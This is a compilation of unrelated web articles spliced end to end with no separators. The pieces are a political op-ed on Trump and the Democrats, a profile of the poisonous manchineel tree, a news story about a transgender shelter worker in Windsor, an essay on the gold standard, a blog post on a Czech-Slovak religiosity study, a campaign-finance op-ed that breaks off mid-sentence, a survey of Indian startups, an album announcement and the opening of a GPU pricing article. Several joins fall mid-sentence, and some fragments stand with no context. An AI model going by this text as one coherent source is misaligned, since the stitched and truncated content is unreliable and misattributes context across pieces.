On the left, Trump wants Democrats to keep doing what they have done for the past several months, and years — namely, obsessing over shiny objects and embracing identity politics. He wants to avoid them re-discovering some kind of ideological foundation, or popular constituency, for opposition. He wants them to stay inside their media bubble, talking to themselves.
By the looks of things, Trump is succeeding. Democrats re-elected Minority Leader Nancy Pelosi (D-CA), rewarding her failure again. They also elevated Sen. Charles Schumer (D-NY) to Senate Minority Leader, affirming the popular caricature of Democrats as a “bi-coastal” party. The only leader they have found from “flyover country” happens to be Minnesota’s Rep. Keith Ellison, formerly of the Nation of Islam. That triumvirate can only take Democrats further into the political wilderness.
On the right, Trump wants conservatives to be agitated. Yes, he is courting Mitt Romney. But he is also is poking the smoky coals of NeverTrump to stir their fire. He wants them — not, say, Sen. Elizabeth Warren (D-MA) — to be the loudest voices.
Trump prefers conservatives as adversaries at the negotiating table for two reasons. First, unlike left-liberal Democrats, who are already vowing to say “no” to almost everything Trump proposes, conservative Republicans actually want to make deals.
Second, conservatives already agree with Trump on the fundamental issues — the Supreme Court, for example. As Democrats learned over decades of “negotiating” with public sector unions, it’s easier when the other side is also on your side.
So when Trump adviser Stephen K. Bannon (on leave as Breitbart News Executive Chairman) gives his first interview to the Hollywood Reporter and says, “The conservatives are going to go crazy. I’m the guy pushing a trillion-dollar infrastructure plan,” there is a method to the madness.
Unlike Obama, who quieted internal opposition and marginalized the right, Trump is stoking internal criticism and letting the left marginalize itself.
He is not yet governing, but he is already re-framing the debate.
Joel B. Pollak is Senior Editor-at-Large at Breitbart News. He was named one of the “most influential” people in news media in 2016. His new book, See No Evil: 19 Hard Truths the Left Can’t Handle, is available from Regnery through Amazon. Follow him on Twitter at @joelpollak.A newspaper in Cyprus has just posted an article on the manchineel, a deadly Caribbean tree which is in the process of eradication because of fears of how it may harm tourists. Poor manchineel. It is a threat, but it is beautiful—and an important part of our heritage. You can read more here:
Name: Manchineel (Hippomane manchinalla)
Otherwise known as: Little Apple, Apple of Death
Habitat: A tree member of the Euphorbiaceae family growing up to 15m in coastal soils in central and southern America and the Caribbean. It is a very attractive plant boasting shiny, oval-shaped leaves with spikes of green flowers that transform into the sweet smelling, bright green fruits resembling crab apples. All parts of the tree are highly poisonous.
What does it do: Manchineel is one of the most dangerous trees known to man. It is even dangerous to shelter under during rainfall as the leaves exude a sap that is carried onto the unsuspecting loiterer and will cause extreme blistering and sometimes blindness if contact is made with the eyes. The plant has a caustic latex that contains the alkaloids hippomanin and mancinellin that are responsible for its toxicity. Most fatalities have occurred when the unwary have eaten the apple, which while sweet smelling and initially pleasant to taste, within ten minutes causes the mucous membrane to become inflamed, the trachea to close and in some cases massive haemorrhage sets in as the toxin reaches the stomach. The tree was used by the Caribs as an arrow poison and it is recorded that Spanish adventurer Ponce de Leon was wounded by such an arrow and died painfully two days later. There was also an unpleasant practice of tying prisoners to the trees and leaving them to slowly die. The invading conquistadors discovered that the natives were poisoning their water supplies by throwing the cut fruit into the wells; they even found it hazardous to burn the wood.
Those areas of the Caribbean that thrive on tourism have eliminated many of the trees and there is a statute in place to ensure that all surviving trees carry a written notice warning travellers of the danger of approaching them.
Regardless of the danger of using any extracts from Manchineel, a number of complaints are treated by folk herbalists in the region for such afflictions as elephantiasis, syphilis, cancerous ulcers, warts, worms and tetanus.
The article appeared at http://www.cyprus-mail.com/living/plant-week-manchineel/20100228Jayce Carver hopes to make a Windsor women's shelter more welcoming to the LGBT community, while working to find homes for women suffering from abuse.
As a transgender woman, Carver has battled drug addiction and suffered from physical and sexual abuse while living on the city's streets.
After years of recovery, she's now a housing support worker at the Welcome Centre women's shelter, where she helps clients find stable homes.
"I went through many of those same things (they did)," Carver told CBC News. "I want to use my lived experience as a woman to assist other women."
Ensuring transgender women are supported is important to the centre's executive director Lady Laforet, who said transgender women are at a higher risk of experiencing violence and becoming homeless. They also often have more barriers to education and employment.
Lady Laforet from the Welcome Centre Shelter for Women. (Meg Roberts/CBC)
"If we support (transgender) women and provide these services to them, how does it not make sense for us to have a transgender women providing those services?" she explained.
Making the transition
Carver has extensive experience that she said will help her understand the struggles many of the women at the shelter are going through.
She left her abusive home as a teenager and moved in with her boyfriend, who she would later marry. Shortly after getting together, Carver told him she was a transgender woman.
But the couple decided Carver could live as a gay man and stay in their relationship. It wasn't until 2012 that Carver decided she could no longer live that way.
"I already am a woman and I just have to make some changes in order to do that," she recalled about wanting to start her transition.
After seeing a therapist, she was given multiple diagnoses and put on medication, instead of getting help to transition. Carver's struggles continued and she developed a substance abuse problem by 2015.
I feel like the women already feel more confident to come to me for support. - Jayce Carver
When she tried to get help, she wasn't recognized by the facility as a woman. Instead, she was placed in a men's program.
"It was scary and isolating. There was a lot of bullying and I was too afraid to say anything," she said. "I really just needed to withdraw and figure out what my next steps were."
That isolation continued as Carver battled her addiction. Eventually, she fought for and received an accommodation plan, which was a small step in the right direction. But her treatment again forced her to be on her own.
She went to programs alone, she lived alone. That's when she knew she had to focus on her transition.
She started hormone therapy, but her addiction continued until she was eventually hospitalized. She attempted suicide and ended up living on the streets, where she endured physical and sexual abuse.
Finding help
Carver eventually used her experience as a human rights advocate on herself. She treated herself as a client and turned to Windsor Pride to find a mentor in the community who could support her.
Together, they found a new doctor to help Carver heal from childhood trauma, abuse and addiction. She was eventually accepted into a women's relapse prevention program and became the first transgender woman to graduate the program.
Jayce Carver survived abused and drug addiction. Now she's using those experiences to help women at the shelter. (Stacey Janzer/CBC)
Clean and sober, Carver developed a clinical-based service navigation and advocacy support program, which helps people isolate what they want to work on and what they need help with.
"We assist them with making those initial phone calls, because that's where transgender people often feel like they can't take that next step," said Carver.
Working at the Welcome Centre is an opportunity Carver wants to take full advantage of in her quest to help other women.
Initially, she worried the clients might not feel comfortable working with a transgender woman, but after two weeks on the job, she already feels like a part of the centre's family.
"I feel like the women already feel more confident to come to me for support," she said. "I feel like I've created some relationships with the staff here as well."Under a gold standard, the amount of gold a nation holds in bank vaults determines how much of its money circulates. If a nation’s gold stock increases through trade, for example, the country issues more currency. Likewise, if its gold stock decreases, it issues less.
Gold as currency has obvious problems. First, there is relatively little of it while there are more people and goods all the time. So in the long term, the gold standard exerts a downward pressure on prices as money becomes relatively tighter and its value increases. If prices continue to decline, people are less likely to spend their money. After all, if you believe that the price of, say, shirts will continue to drop, you’ll delay splurging on haberdashery.
With enough time, the gold standard can create a deflationary spiral that brings an economy completely to a halt — which is what happened in the Great Depression. It was for this reason that Franklin D. Roosevelt abandoned the gold standard in the first days of his presidency, declaring that he would make the dollar into a “managed currency” the value of which policy makers might increase or decrease in response to economic need. In giving policy makers the power to regulate the money supply as they saw fit, Roosevelt created the expectation of a turn toward inflation, giving people reason to spend more money in the short term. (As Keynes observed, inflation causes problems, too, but at least it encourages spending, while the expectation of deflation can “inhibit the productive process altogether.”)
Recovery began as soon as Roosevelt took office in March 1933, and his use of the dollar to spark recovery created the basis for the adoption of managed currencies around the world. Eleven years later, Bretton Woods gave multiple currencies fixed but adjustable rates. Nations now had precisely the freedom the gold standard denied them, to use monetary policy to regulate their economies. (The United States dollar had a nominal value in gold of $35 an ounce but the country was not obliged to set monetary policy according to how much gold it had.)
Mr. Cruz correctly notes that the world economy enjoyed decades of prosperity under Bretton Woods, but that happened without a gold standard, not because of one. Why is a discredited policy now attractive to Republicans? The gold standard suits a political moment. Tying the dollar to an arbitrary quantity of shiny metal binds policy makers’ hands, robbing them of their discretion to act: The central bank can’t adjust the money supply to counteract crises or prevent them. These limits, for many Republicans, are good things. The gold standard is essentially the monetary equivalent of a government shutdown.If you’re familiar with the cognitive science of religion, then you’ve probably heard the term “hyperactive agency detection device,” or HADD. The HADD is one of today’s most popular explanations for why people believe in God or gods. It proposes that the human brain is equipped with a hair-trigger mechanism that perceives personhood – that is, intentions and purposes – everywhere in the world. This mechanism is why you see faces in campfire flames or jump when you hear a twig crack in the woods. According to the HADD hypothesis, these perceptions are the reason for human beliefs in gods and spirits – and, hence, the cognitive foundation for religiosity itself. But religiosity is a often lot more than seeing faces in clouds or campfires. It’s also rituals, texts, moral codes, community, and funny hats. So, really, how much of religion boils down to cognitive biases for detecting agency? According to new research from the Czech Republic and Slovakia, the answer might be “not much.”
These two countries are uniquely excellent case studies for why some people become religious and others don’t. For decades after World War I, the Czech Republic and Slovakia were united as one country, called – truly, an inspired leap of human imagination – Czechoslovakia. Today, the two countries are close neighbors and E.U. members with a great deal of shared history, but with one crucial difference: the Slovakian population is highly religious and churchgoing, while the Czech Republic is one of the world’s most atheistic countries. This unique situation offers a stellar opportunity to test hypotheses in the cognitive science of religion about why people become religious, since so many other important demographic variables are naturally controlled for.
If, you know, someone wanted to do that.
Fortunately, somebody did. Scooping everybody else in the cognitive science of religion, psychologist Aiyana Willard and economist Lubomír Cingl recently decided to take advantage of the cultural and historical similarity of the Czech Republic and Slovakia to test which theories best explained why the former was so much more secular than the latter. They gathered data through an online marketing platform, eventually surveying more than 1,000 residents in each of the two countries, or more than 2,000 total. (That’s a lot of people, especially considering that many psychology studies use only around 60 participants, or 30 each in a two-condition design.)*
In their survey packets, Willard and Cingl asked subjects about their beliefs in God, their paranormal beliefs (such as psychic phenomena or the existence of ghosts), and how much they participated in organized religion such as Sunday church services. The researchers also included questions to test three major hypotheses. First, there was the secularization hypothesis. This is the well-known claim that, as economic and social conditions improve in any given society, its people will simply drift away from religion. According to the secularization hypothesis, people in the Czech Republic might be less religious than those in Slovakia because the Czech Republic is slightly wealthier, more stable, and better-educated. Willard and Cingl tested this prediction by asking subjects how secure and stable they felt in life, and by looking at objective demographic data.
The second hypothesis was the cognitive bias hypothesis. This is what lies behind the HADD theory: we human beings come pre-packaged with hypersensitive tendencies to perceive minds and purpose in our surroundings. These perceptions, in turn, lead us to assume that there are spirits, fairies, and gods lurking in every nook and cranny of the world. It could be that people with weaker cognitive biases would be less religious. To determine the strength of people’s cognitive biases, Willard and Cingl asked questions about how prone the participants were to anthropomorphizing (projecting human qualities onto the inanimate world), believing in mind-body dualism, and thinking that natural processes have purposes (teleology). They also tested for analytical thinking skills and empathizing skills. Willard and Cingl predicted that cognitive biases alone probably wouldn’t explain the difference in religiosity between the two countries, since biases are presumably innate and equally distributed across populations. But you never know, right?
The third hypothesis was that differences in religiosity would be explained by credibility-enhancing displays. These displays, abbreviated CREDs, are actions that people perform when they sincerely believe in the tenets of their religion. A committed Christian probably goes to church each Sunday, prays before meals, and celebrates Easter. A sincere Muslim prays five times a day, pays the zakat tithe, and saves up for pilgrimage to Mecca. But if you don’t truly believe, you probably won’t go to the trouble of doing all those things. To test for CREDs, the researchers asked subjects how often their parents had participated conspicuously in religious activities when they were growing up. Their prediction? People who hadn’t seen grown-ups acting religiously when they were children would themselves be less religious – and believe less in God – as adults.
Examining their results, Willard and Cingl found that Slovakians were much more religious and theistic than Czechs, but both nationalities believed in the paranormal equally. Looking at the secularization hypothesis, education decreased beliefs in the paranormal but had no effect on religious practices or belief in God, while social and institutional insecurity were correlated with stronger beliefs in the paranormal and mildly correlated with increased religious practice. (For example, in areas with higher unemployment, people went to church more.) However, these effects weresmall, leading the researchers to conclude that the secularization hypothesis couldn’t explain why Slovakia is so much more religious than the Czech Republic – particularly because both countries have similarly high levels of human services and fairly strong economies.
What about the cognitive bias hypothesis? As the researchers expected, there were no differences between Slovakians and Czechs when it came to innate predispositions for analytical thinking, teleological reasoning, mind-body dualism, or empathic ability. Interestingly, Slovakians scored slightly – but significantly – lower on anthropomorphic tendencies than the less-religious Czechs, which is the opposite of what the HADD hypothesis would predict. Overall, cognitive biases accounted for a very small percentage of the difference in belief in God, but for more than one-fifth of the difference in paranormal beliefs.
In other words, people with strong cognitive biases such as teleological reasoning, mind-body dualism, and holistic or intuitive thinking were much more likely to believe in astral travel or psychic abilities, but only very slightly more likely to believe in God. Cognitive biases had almost no effect on religious attendance. And biases didn’t explain any of the difference in religiosity between the two countries at all.
But while the secularization and cognitive bias hypotheses mostly fizzled, CREDs had a remarkably strong effect on religious practice and belief. In all, Slovakian respondents reported that, as children, they went to church much more often, and saw more adults practicing religion, than Czechs. In turn, childhood exposure to CREDs predicted significantly higher levels of adult religious belief in God and church service attendance. This relationship mediated (explained) a good deal of the relationship between nationality and religiosity: 70% in the case of belief in God, and fully 80% in the case of religious practice. In other words, young Slovakians saw more adults praying and going to church – and went to church services more often themselves – than their Czech counterparts, and these divergent childhood experiences were the lion’s share of the reason why Slovakians were more religious as adults. The authors concluded that
The exposure to religious rituals and parental displays of religious commitment in childhood accounts for more variance than any other set of variables in our sample.…Religiously raised participants in Slovakia were exposed to higher levels of CREDs than their Czech counterparts…CREDs variables accounted for a substantial amount of the country level difference in both belief in God and practice, even when the sample was restricted to only religiously raised participants.
So exposure to CREDs seems to influence adult religiosity a lot more than cognitive biases. Does this falsify the HADD hypothesis? Not necessarily. Willard and Cingl point out that cognitive biases could give rise to generalized supernatural beliefs – like spirits or an afterlife – which in turn provide the foundations for institutional religion. So evolved cognitive biases might be part of the origin story of religion, but a lack of cognitive biases isn’t a good explanation for why some countries – or people – become more secular.
Of course, while CREDs explained much more of the difference between the two countries’ religious tendencies, there still must be a reason why Czech parents took their kids to church less often than Slovakian parents in the first place. But looking for this reason brings us up against the limits of scientific methods. Specifically, one key difference between Slovakia and the Czech Republic is historical, not scientific: during the Cold War, the Catholic Church was a potent symbol of resistance against the oppressive USSR for Slovakians, whereas for most Czechs it wasn’t. The fact that the Catholic Church played a critical role in Slovak public life and patriotism may have ensured that Slovakians retained their allegiance to the faith, kept going to church, and raised religious children. On the other hand,
In the case of the Czech Republic, a history of skepticism of the Catholic Church as an institution paired with the communist ban on public religiosity may have been the spark that precipitated the decline in religiosity.
This led the authors to warn that
When evaluating individual cases, like this one, it is worth investigating if a single idiosyncratic cause can explain the decline of a specific religion separately from supernatural belief more generally.…What broad theories like this do not always reflect is the inherent cultural nature of people. In the quest to find singular theories that can explain these complex processes, the psychological and evolutionary sciences can often miss the important role of culture and how much we, as humans, learn from others. Further research across more diverse religious groups is needed.
In other words, scientific theories can’t explain everything about religion, and we need to pay more attention to specific events and cultural histories. (It’s almost as if religion is…complicated.**) But what we can conclude from this study is that hyperactive agency detection or anthropomorphic tendencies aren’t the main reason why some people become religious and others don’t. It has a lot more to do with the rituals people participate in and the culture that surrounds them. As usual, God doesn’t easily boil down to a flipped switch in the brain.
_________
* Full disclosure: I am one of the people who does studies like that
** As one of the few people working in the evolutionary study of religion whose PhD is in religious studies rather than psychology or cognitive science, this is what I think about that.There’s an old story about Ben Franklin and the founding of our country. In 1787, delegates met in private in Philadelphia’s Independence Hall to draft a new Constitution. Throughout the Constitutional Convention, citizens gathered anxiously around the hall awaiting the results. When Ben Franklin finally exited, a citizen asked, “Well, Doctor, what have we got, a republic or a monarchy?” “A republic,” Franklin responded “if you can keep it.”
The idea is that “we the people” share a common duty and responsibility to manage our affairs and our resources. But the truth is, we’re at risk of losing our republic.
In a series of Supreme Court rulings, a radical group of activist justices perverted the Constitution by declaring that corporations have the same rights as people and that money is free speech. But corporations are not people. They are legal entities and economic tools designed to maximize profit. Corporations are excellent for the economy. But they should not have the power to create and dictate laws. Money is not speech, it’s property. And in politics, because of lax campaign finance and lobbying laws, money is used to buy access and power.
[SEE: Political Cartoons]
As a result of the Supreme Court’s rulings, our representatives depend more and more on big dollar donors and less on voters. According to a recent study by professors at Princeton and Northwestern, our representatives are more responsive to wealthy people than average citizens. Our government resembles more of a plutocracy – rule by the wealthy – than a Constitutional republic.
That’s why I started the StampStampede.org. The First Amendment protects the right “to petition the Government for a redress of |
computer tasks that controllers would really help with? Share your ideas in the comments.In recent years, the Indian startup ecosystem has really taken off and come into its own—driven by factors such as massive funding, consolidation activities, evolving technology and an burgeoning domestic market.
The numbers are telling—from 3,100 startups in 2014 to a projection of more than 11,500 by 2020, this is certainly not a passing trend. It’s a revolution. And it’s going to change the way the markets are working today in India.
In this story, I’m going to highlight some key aspects of the Indian startup ecosystem and underline the steps needed to make the environment more conducive for it. Starting with some of the most disruptive startups, we’ll go on to explore how they raised their recent funding. Next, we’ll take a look at the investment trends, escalating M&A activity, and the key enablers who are fostering this growth.
Credit: Shutterstock
The knowledge pool and sharing of research is already one of the strong points of this startup landscape. Hope this adds to it.
Disruptive Startups from India
A lot of startups in India have entered the industry either unearthing an entirely new market or through gaps in existing markets or product lines. Although there are many successful startups, here are five, that are growing rapidly and changing how an existing industry works in the process:
Housing.com
They’re growing intelligently and rapidly and surpassed all competition within two years of launch. They recently acquired Delhi-based Realty Business Intelligence for an estimated USD 2-4 million. Realty BI tracks real estate trends and creates collateral risk management tools through the use of technology. Though, recently, Housing itself has been in the news for more reasons than they probably wanted.
Zivame
“I realized that lingerie as a category in India is under-served. There is unavailability of sizes, social discomfort and very poor market penetration”, says Richa Kar, CEO of Zivame.com who is taking the women’s underwear market by storm.The freedom of choice and the sense of liberation that it has provided to its consumers is unmatched by traditional lingerie stores.
AdPushup
While ad networks have ruled the Internet for over a decade, doing all the optimization inside the ad unit including targeting, relevance, creative optimization; No player has optimized the ad layout of the page. By optimizing the ad layout, AdPushup fights banner blindness, increasing the website’s ad revenue from existing ad networks. A transparent organization, they have blogged about how they raised their first round of funding, built their office and how they did their marketing.
Paytm
Boasting 80 million mobile wallets and more than 15 million orders per month, Paytm has revolutionized mobile commerce in India. It’s a leading payment solutions provider to e-commerce merchants using its RBI approved semi-closed wallet, also its USP. From Domino’s Pizza to Zivame to Uber, it’s everywhere.
Redbus
It’s incomprehensible to imagine now that there was nothing like RedBus for a long time despite the thriving existence of MakeMyTrip and Yatra. When an increasing number of consumers were booking tickets online for trains and flights, why were buses left out? This compelling question gave birth to RedBus, now acquired by the ibibo Group for $138 Million.
InMobi
Securing a coveted spot in MIT Technology Review’s 50 most disruptive companies of 2013, InMobi’s international acquisitions and exponential growth continues to challenge industry giants like Apple, Facebook, and Google. Their pioneering innovation in data science epitomizes typical startup growth DNA. In InMobi’s words, they’re going to, “democratize the understanding of user behavior”.
This list is not exhaustive but it serves as an appetizer for delving deep into the world of the Indian startup ecosystem, the 4th largest on the entire planet.
Recent Investments
Between 2010 and 2014, the infusion of VC and PE increased from $13 million to $1,818 million. Angel investment too has multiplied almost 8 times from $4.2 million to $32.2 million. So, how did these startups raise their recent funds? How will this money help them grow? Let’s look at a few examples.
Chaayos
Chaayos retails tea leaves, which it sources from tea estates to create its own blends and has designed innovative kettles that can deliver a liter of chai, keeping it hot for an hour and a half.
The first round of institutional funding for Gurgaon-based Chaayos came as a non-tech investment. This year, Tiger Global led a $5 million financing round in this tea chain, with participation from Ola founders Bhavish Aggarwal and Ankit Bhati.
Using this investment, the tea chain is planning to expand its services to Mumbai, Bangalore and Delhi NCR by opening more than 50 new outlets. It will also use the funds for pushing its delivery service through mobile apps. Besides expanding its chai-on-demand service, Chaayos will also focus on retailing its packaged tea blends, which it introduced a few months back, in partnership with Amazon, Big Basket, Grofers, and the recently launched Ola Cafe.
The plan for Chaayos is to setup 60 more outlets in 2015 and scale up rapidly. Apart from outlets, they already have tie-ups with corporates for delivery. Their app is coming out soon, which will be open a B2C subscription channel as well5.
Housing.com
Last year, house hunting portal Housing.com raised a sum of $90 Million from SoftBank, the Japanese telecom and internet giant.
Their products like Slice View and Price Heat Maps (gauging the price variations in real estate across the city) emphasize their strong focus on Data & Analytics and will require a major share of the received funding.
Apart from investing heavily in their in-house Data Science Lab (DSL) and expansion into more cities, Housing has always been focused on hiring the right talent.
Ola
Ola (formerly Olacabs), in April 2015, announced raising $400 million in its series E round of funding led by DST Global with participation from GIC, Falcon Edge Capital, and existing investors SoftBank Group, Tiger Global, Steadview Capital and Accel Partners US. From this amount, Ola has earmarked $100 million towards fuelling expansion and growth of the acquired TaxiForSure.
While the range of services offered like Mini, Sedan, Prime, Auto-rickshaws, Taxis, and Café (food delivery) has continued to increase over the past year, Ola plans to further invest in localising its offerings for the benefit of citizens and driver partners in every market. Ola plans to be in 200 cities by the end of this year.
Through “Ola Pragati” in partnership with the State Bank of India, drivers can now avail of a daily loan repayment facility and a lower down payment to buy a car of their choice. Ola aims to offer this program to over 100,000 driver entrepreneurs across India within the next two years under its expansion program.
International Money entering India
Foreign investor interest in India can be attributed to various factors but the biggest one is the consumer growth backed by the mobile revolution.
Also, the India focus of New York based Tiger Global Management (TGM) has given confidence to other global private equity and hedge funds to come to India.
Making big bets on Indian innovation has become a global point of interest. The following are a few examples of foreign investors investing in Indian startups:
TGM is currently the top investor in startups in India during the first four months of 2015. Indian startups have featured in 18 of its 26 funding rounds globally in 2015 so far. It has started to make early-stage investments in India now.
Tiger was among the top investors in India at $422 million in 2014, despite a lean start. After April, with massive fund infusion into Flipkart, which raised a total of almost $2 billion in 2014.
It was followed by Russian investor Yuri Milner-led DST Global, which invested $352 million.
Japanese telecom giant Softbank invested $282 million in Indian startups in 2014.
During the same period last year, VC firm Nexus Venture Partners was the largest VC player in the country with $73 million in funding, followed by Kalaari Capital with $45 million in six deals.
VC firm Sequoia Capital has made investment worth $208 million in the first four months of 2015 across 14 deals.
Accel Partners, one of the early investors in the scene have made multi-stage investments in internet technology companies between $0.5-50 million in its portfolio of companies which include BabyOye, BookMyShow, Myntra, CommonFloor, Zansaar, Probe, and Flipkart.
Other foreign investors that have shaped the Indian funding landscape since 2009 are 500 Startups (by Dave Mclure and Pankaj Jain), and Inventus Capital Partners among many others.
Active Investors in the Indian startup landscape
Based on data published by YourStory, in 2014, Helion Venture Partners was top of the investors list going by the total number of deals made, followed by Sequoia Capital, Blume Ventures, Kalaari Capital, and Accel Partners.
As you can see in the next chart, the market has witnessed a bit of a shakeup with Tiger Global taking the top spot in 2015 with cumulative investments of $269 million (Ventura Intelligence) in 11 deals, followed by Sequoia Capital with $208 million invested in 14 deals, and Steadview Capital with $107 million with two deals.
When it comes to the cities where the startups that got funded were based, Bangalore led the charts with $2.43 billion, followed by New Delhi at $1.43 billion, and Mumbai stood in the third position with $610 million.
And if we break it down by sectors, e-commerce unsurprisingly took the biggest piece of the pie with $3.23 billion, followed by the closely related sectors of consumer Internet and mobile apps.
With the process of investment and exit becoming smoother due to a combination of factors, the scenario looks promising.
According to a KPMG Survey Report for 2015, such strategic opportunities provide fertile grounds for increased acquisition momentum in the near future.
Recent M&A Activity in India
Traxcn, a startup tracking deal-making involving startups, provides some perspective here.
In 2014, 43 startups were acquired; so far this year the number has been 41, with startups themselves being the most acquisitive of the lot. Of the 41, merely two deals were struck by large corporates, with Godrej and Mahindra & Mahindra as the buyers.
This frenzied deal-making does not revolve around just money. By such acquisitions, the young startup brigade is proving to be gutsy, and ambitious.
With Housing.com being recently in the news for acquiring Realty BI, let’s look at some other M&A deals of this year till now.
Livspace acquired Dwll.in (a curated online network of interior designers) in its second acquisition deal this year
Asia’s largest doctor search engine, Practo, acquired Fitho (digital fitness solution)
MakeMyTrip Limited announced the acquisition of the intuitive travel planner Mygola in April
Snapdeal acquired FreeCharge to build the most impactful digital commerce ecosystem in India
To broaden the timeline, here is an infographic showing M&A activity over the last 3-4 years:
Why the Sudden Rise?
Let’s look at some strategic opportunities that motivate buyers:
Acquisitions are opportunistic and buyers plan to act as soon as the right target became available
To expand their geographical reach
For expanding their customer base
To enter into a new line of business
Sometimes the buyer is looking for profitable operations and/or gain on exit
For enhanced intellectual property
To defend against competition
To invest in another function in the supply chain
A buyer in India has one or a combination of these reasons as their focus when they go ahead and acquire another venture.
International M&A: What Does This Really Mean?
Like they say, the best way to understand the future is to understand the past. Similarly an acquisition, whether it is for product extension, service offering or patents, can speak volumes about the company’s future strategy.
In early 2015, Twitter acquired ZipDial–a mobile marketing and analytics firm based out of Bangalore. ZipDial is a “missed call marketing” platform with an impressive client list including Unilever, Disney, Gillette, Amazon, Facebook, and of course, Twitter. In a country like India where internet penetration is still very low compared to western counterparts, Twitter is planning to deliver content to a large number of non-internet users through SMS.
In January 2014, Facebook had acquired Bangalore-based Little Eye Labs–a startup that made a software tool for analyzing the performance of Android apps. The deal was said to be worth somewhere in the range of $10-15 million. This deal was clearly aimed at taking Facebook’s mobile development to the next level. Little Eye Lab’s ability to improve Facebook’s mobile application has an opportunity to make an impact on more than one billion people who use Facebook.
In an acquisition deal rumored to be around INR 50 Crores, Yahoo bought Bookpad last year, a Bangalore based startup that has built an end to end document handling technology for the cloud. This makes sense for Yahoo not only because it is thinking of moving into the document collaboration space to better compete with companies like Microsoft, Google, Box and Dropbox, but it also makes for a good acqui-hire, given the skill set of Bookpad’s engineers.
Indian Startup Ecosystem Enablers
Startups in India have given rise to more startups. Enablers, accelerators, and incubators are firms providing startups with growth advice and decision-making tools. From advising on government policies to act as market catalysts, they grow the maturity of young ventures.
Enablers like NASSCOM and iSpirt bring together key stakeholders of the ecosystem including startup incubators, accelerators, angel investors, venture capitalists, support groups, mentors, and technology corporations.
Their main aim is simply to provide funding and support for startups. Here are some examples with a brief history of the work that they have been doing:
NASSCOM 10,000 Startups
NASSCOM has come up with an ambitious initiative called “10,000 Startups”, aiming to scale up the startup ecosystem in India by 10x. The program is supported by Microsoft, Google, Intel, Verisign, and Kotak.
10,000 Startups aims to enable incubation, funding and support for 10,000 startups in India over the next ten years.
The program has been able to successfully impact 150+ technology startups, aiding in the raising of funds, acceptance into acceleration programs, found customers, and on-boarded members through the initiative.
iSPIRT
iSpirt is a think tank dedicated to promote existing Indian software product companies. It is different from NASSCOM, which is a trade body and an industry association. They are now looking at replicating the success of Silicon Valley here in India and is being lead by pioneers like Sharad Sharma.
Closing Thoughts
Coming out of their difficult ruts, investors in India as well as abroad are becoming experimental, yet extremely well-informed decision makers. But funding activities still are the biggest driving factors in any startup ecosystem.
The average valuation of an Indian startup is $2.3 million as compared to $4.2 million of an American one.
43 percent of product/digital organizations are focusing on the global market and 28 percent continue to be technology hotspots.
With a 59 percent of B2C, 37 percent of B2B, and 4 percent of B2C/ B2B startups, this ecosystem has a lot of ground to cover in terms of securing funding.
Let me address some key points to think about.
What the Indian Ecosystem Gets Right
Acqui-Hiring, technology acquisition, market consolidation, and customer acquisition are the main drivers for increase in M&A of Indian startups.
With increase of momentum in M&A in India, investors are getting more exit opportunities.
Startups are adopting innovative approaches to attract and retain top talent.
What It Gets Wrong
Indian startups are often alleged to be copying foreign startups.
Often don’t have a proper scaling plan.
There is a need for directional efforts to help increase supportive government policies (ease of doing business, tax incentives, participation in Government contracts, availability of risk capital, etc.).
What Other Ecosystems Can Learn From This
Startups consolidating and buying other startups.
Successful entrepreneurs coming forward to support other emerging startups by mentoring them through various channels.
Young entrepreneurs dominating the startup landscape with over 73 percent of founders in the age bracket of less than 36 years.
Women entrepreneurs starting to become more prominent in the innovation economy.
Listing is touted to be the next big frontier. Several companies are preparing for initial share sales, but these will most likely happen overseas and not in India.
Predictions made for startups are more in number than the startups themselves. But the interest these few companies are generating cannot be undermined.
Read Next: 6 reasons why Boston is America’s unlikely tech hub
Image credit: Shutterstock
Read next: Apple Music: A final nail in the coffin for paid downloads?This week, experimental singer-songwriter Scott Walker and drone metal outfit Sunn O))) release their collaborative album, Soused, through 4AD Records. Spotify users can also stream the LP in full below.
Walker was originally approached to appear on Sunn O)))’s 2009 album Monoliths & Dimensions, but ultimately declined. However, in late 2013, he returned to Sunn O))) with new music he had written specifically for a potential collaboration. The album was recorded earlier this year and produced by Walker, his longtime collaborator/partner Peter Walsh, and musical director Mark Warman.
In an interview with The Quietus, Walker discussed how he and the band found a common ground in a general aesthetic and overall musical philosophy: “If you look at the last track on my last few albums it’s just me and it’s quite small or otherwise it’s a cast of thousands. They were a great compromise in that way because of the weight they have. I mean they’re so loud. When we recorded them [laughs] it was shockingly loud. We’d go into the studio and … ha ha ha! We all had to wear earplugs. The first day we heard it – that brought new meaning to the phrase ‘guitar levels.'”
He also discussed how not knowing the band was actually a plus for the creative process: “I’d never met them before, we’d never spoken, we just turned up at the studio,” Walker said. “I thought it was the best way to do it. So I thought, ‘If it’s going to be an ugly surprise, it’s going to be an ugly surprise and everyone can just go away and try and forget about it.’ But I like that. I like the risk factor involved in something like this because I didn’t know what was going to happen. But they were an absolute pleasure and everyone got on perfectly. They were serious about what they did but they were funny as well. They were so aware of their sound and how it evolves. And very particular about their sound.”
The five-track, 50-minute effort features slightly different tracklists both the CD/digital and vinyl releases. Initial pressings of the double LP will be available on red vinyl. Pre-orders for the album are ongoing.
Soused (CD/digital):
01. Brando
02. Herod 2014
03. Bull
04. Fetish
05. Lullaby
Soused (LP):
A1. Brando
A2. Bull
B1. Herod 2014
C1. Fetish
C2. LullabyAMD’s Radeon RX Vega is upon us, and some stock is already trickling into the country. There are some Vega 64 cards available through a few retailers, and stock is expected to start ramping up in September-October as AMD increases production to meet – in the company’s own words – “unprecedented demand.”
Miners are a part of that demand, of course, but I don’t think it’ll be much of a problem locally for Vega 64 or 56. AMD fans should be able to get their hands on a card without much fuss soon. I have some price comparisons after the jump, and a little bit of history using old editions of the System Builder’s Guide.
EDIT: An earlier version of this article incorrectly attributed some statements to a local AMD sales representative. These have been corrected.
AMD Radeon RX Vega Price Comparison
